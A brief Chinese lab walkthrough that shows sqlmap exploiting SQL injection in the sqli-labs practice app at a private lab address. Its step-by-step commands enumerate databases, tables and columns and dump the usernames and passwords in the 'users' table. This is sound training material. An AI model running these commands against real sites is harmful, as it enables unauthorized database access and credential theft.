sqlmap实战注入步骤
测试环境：
系统—>winxp
目标—>sqli—labs
IP—>192.168.1.106
输入？id=1，内容出现变化，存在sql注入
打开sqlmap，输入sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 --dbs查看所有数据库
找到很多数据库，查找security数据库中的数据表，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -tables
看到熟悉的users表了，我们进一步查看表中有哪些列，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -T users --columns
表中有我们想要的数据，进一步查看数据，sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 -D security -T users -C id,password,username --dump
NICE！
